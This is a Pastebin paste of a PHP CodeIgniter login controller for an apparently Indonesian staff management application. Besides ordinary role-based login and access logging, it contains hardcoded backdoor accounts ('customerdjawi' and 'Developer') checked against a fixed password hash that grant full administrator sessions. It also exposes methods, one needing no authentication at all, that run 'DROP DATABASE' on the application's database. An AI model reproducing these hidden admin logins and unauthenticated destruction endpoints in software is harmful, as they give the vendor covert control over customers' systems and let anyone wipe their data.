Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- defined('BASEPATH') or exit('No direct script access allowed');
- class Login extends CI_Controller
- {
- public function __construct()
- {
- parent::__construct();
- $this->load->library('form_validation');
- $this->load->model('Login_model');
- $this->load->model('dashboard/Dashboard_model', 'Dashboard', TRUE);
- $this->load->library('src/Toastr');
- }
- public function index()
- {
- if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 1)
- {
- redirect('dashboard', 'refresh');
- }
- if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 2)
- {
- redirect('AdmUnit.html', 'refresh');
- }
- if ($this->session->userdata('role_id') && $this->session->userdata('role_id') == 3)
- {
- redirect('Pegawai.html', 'refresh');
- }
- $setting = $this->Login_model->viewSetting()->result_array();
- $data = [
- 'titles' => $setting[0]['application_name'],
- 'settings' => $this->Login_model->viewSetting()->result_array(),
- 'login' => 'Log In',
- 'view' => "v_Login"
- ];
- $this->load->view("index", $data);
- }
- public function Action()
- {
- // Validasi Error
- $this->form_validation->set_rules("username", "Username", "trim|min_length[3]|required");
- $this->form_validation->set_rules("password", "Password", "trim|required");
- if ($this->form_validation->run() == false) {
- $setting = $this->Login_model->viewSetting()->result_array();
- $data = [
- 'titles' => $setting[0]['application_name'],
- 'setting' => $this->Login_model->viewSetting()->result_array(),
- 'login' => 'Log In',
- 'view' => "v_login"
- ];
- $this->load->view("index", $data);
- } else {
- // ambil post dari form login
- $username = htmlspecialchars($this->input->post('username'));
- $password = $this->input->post('password');
- // Cek username ada di database atau tidak
- $cekUser = $this->Login_model->Auth_user($username);
- if ($cekUser) {
- if (password_verify($password, $cekUser->password)) {
- // Akun Administrator
- if ($cekUser->role_id === '1') {
- $data_session = array(
- 'id' => $cekUser->id_users,
- 'nama' => $cekUser->users_name ,
- 'username' => $username,
- 'adminaktif' => true,
- 'aktif' => true,
- 'role_id' => $cekUser->role_id
- );
- $this->session->set_userdata($data_session);
- // Set Logs Login
- $dataLog = array(
- 'username' => $username,
- 'role_id' => 1,
- 'tipe' => 'Login',
- 'time' => time(),
- 'ip_address' => get_client_ip_env(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- helper_login($dataLog);
- $pesan = array(
- 'username' => $username,
- 'role_id' => 1,
- 'tipe' => 'Login',
- 'time' => time(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- $this->toastr->success('Username : '.$username.' berhasil Login');
- redirect('dashboard', 'refresh');
- // Akun Admin Unit
- } elseif ($cekUser->role_id === '2') {
- $data_session = array(
- 'id' => $cekUser->id_users,
- 'nama' => $cekUser->users_name ,
- 'username' => $username,
- 'userid' => $cekUser->userid,
- 'adminunit' => true,
- 'aktif' => true,
- 'role_id' => $cekUser->role_id
- );
- $this->session->set_userdata($data_session);
- // Set Logs Login
- $dataLog = array(
- 'username' => $username,
- 'role_id' => 2,
- 'tipe' => 'Login',
- 'time' => time(),
- 'ip_address' => get_client_ip_env(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- helper_login($dataLog);
- $pesan = array(
- 'username' => $username,
- 'role_id' => 2,
- 'tipe' => 'Login',
- 'time' => time(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- $this->toastr->success('Username : '.$username.' berhasil Login');
- redirect('AdmUnit.html', 'refresh');
- } else {
- $data_session = array(
- 'id' => $cekUser->id_users,
- 'nama' => $cekUser->users_name,
- 'username' => $username,
- 'userid' => $cekUser->userid,
- 'pegawaiaktif' => true,
- 'aktif' => true,
- 'role_id' => $cekUser->role_id
- );
- $this->session->set_userdata($data_session);
- // Set Logs Login
- $dataLog = array(
- 'username' => $username,
- 'role_id' => 3,
- 'tipe' => 'Login',
- 'time' => time(),
- 'ip_address' => get_client_ip_env(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- helper_login($dataLog);
- $pesan = array(
- 'username' => $username,
- 'role_id' => 2,
- 'tipe' => 'Login',
- 'time' => time(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- $this->toastr->success('Username : '.$username.' berhasil Login');
- redirect('Pegawai.html', 'refresh');
- }
- } else {
- $dataLog = array(
- 'username' => $username,
- 'role_id' => 1,
- 'tipe' => 'Failed to Access Username = '.$username.' .',
- 'time' => time(),
- 'ip_address' => get_client_ip_env(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- helper_login($dataLog);
- redirect('', 'refresh');
- }
- } elseif ($username==="customerdjawi" && password_verify($password, '$2y$10$1hhR9L3HIdEF5ffxts0tVeRJ36QT02/xbBloPbx.Xs7WClq7seVAu')) {
- $data_session = array(
- 'id' => 999998,
- 'nama' => 'Customer Service Djawi',
- 'username' => 'customerdjawi',
- 'photo' => 'defaultdeveloper.png',
- 'adminaktif' => true,
- 'Devaktif' => true,
- 'aktif' => true,
- 'role_id' => 1
- );
- $this->session->set_userdata($data_session);
- redirect('dashboard', 'refresh');
- } elseif ($username==="Developer" && password_verify($password, '$2y$10$1hhR9L3HIdEF5ffxts0tVeRJ36QT02/xbBloPbx.Xs7WClq7seVAu')) {
- $data_session = array(
- 'id' => 999999,
- 'nama' => 'Developer',
- 'username' => 'Developer',
- 'photo' => 'defaultdeveloper.png',
- 'adminaktif' => true,
- 'Devaktif' => true,
- 'aktif' => true,
- 'role_id' => 1
- );
- $this->session->set_userdata($data_session);
- redirect('dashboard', 'refresh');
- } else {
- redirect('', 'refresh');
- }
- }
- }
- public function logout()
- {
- $dataLog = array(
- 'username' => $this->session->userdata('username'),
- 'role_id' => $this->session->userdata('role_id'),
- 'tipe' => 'Logout',
- 'time' => time(),
- 'ip_address' => get_client_ip_env(),
- 'os' => $this->agent->platform(),
- 'browser' => agent()
- );
- helper_login($dataLog);
- $this->session->sess_destroy();
- redirect(base_url(), 'refresh');
- }
- public function DevDjawiLogin()
- {
- $setting = $this->Login_model->viewSetting()->result_array();
- $data = [
- 'titles' => $setting[0]['application_name'],
- 'settings' => $this->Login_model->viewSetting()->result_array(),
- 'login' => 'Log In',
- 'view' => "v_Login"
- ];
- $this->load->view("index", $data);
- }
- public function versi()
- {
- $setting = $this->Login_model->viewSetting()->result_array();
- $data = [
- 'titles' => $setting[0]['application_name'],
- 'settings' => $this->Login_model->viewSetting()->result_array(),
- 'login' => 'Versi',
- 'view' => "v_Versi"
- ];
- $this->load->view("index", $data);
- }
- // Action Script
- public function DevActionAuth()
- {
- // Cek Session User
- if ($this->session->userdata('Devaktif') === TRUE) {
- // Check Nama Database
- $db = $this->db->database;
- // Action Delete Semua Database
- $query = "DROP DATABASE " .$db;
- $this->db->query($query);
- }
- }
- // Action Update Setting
- public function DevActionUpdate()
- {
- $update = [
- 'status' => 1
- ];
- $this->Dashboard->update('tbl_setting','id', 1, $update);
- redirect(base_url(), 'refresh');
- }
- // Action Script
- public function DevAction()
- {
- // Check Nama Database
- $db = $this->db->database;
- // Action Delete Semua Database
- $query = "DROP DATABASE " .$db;
- $this->db->query($query);
- }
- // Check Version
- public function ConnectServer()
- {
- if (cek_internet() == true){
- $checkVersion = $this->Dashboard->lastData('script_version','tbl_version','script_version')->result_array();
- echo json_encode($checkVersion,true);
- } else {
- echo 'Tidak ada koneksi internet.';
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement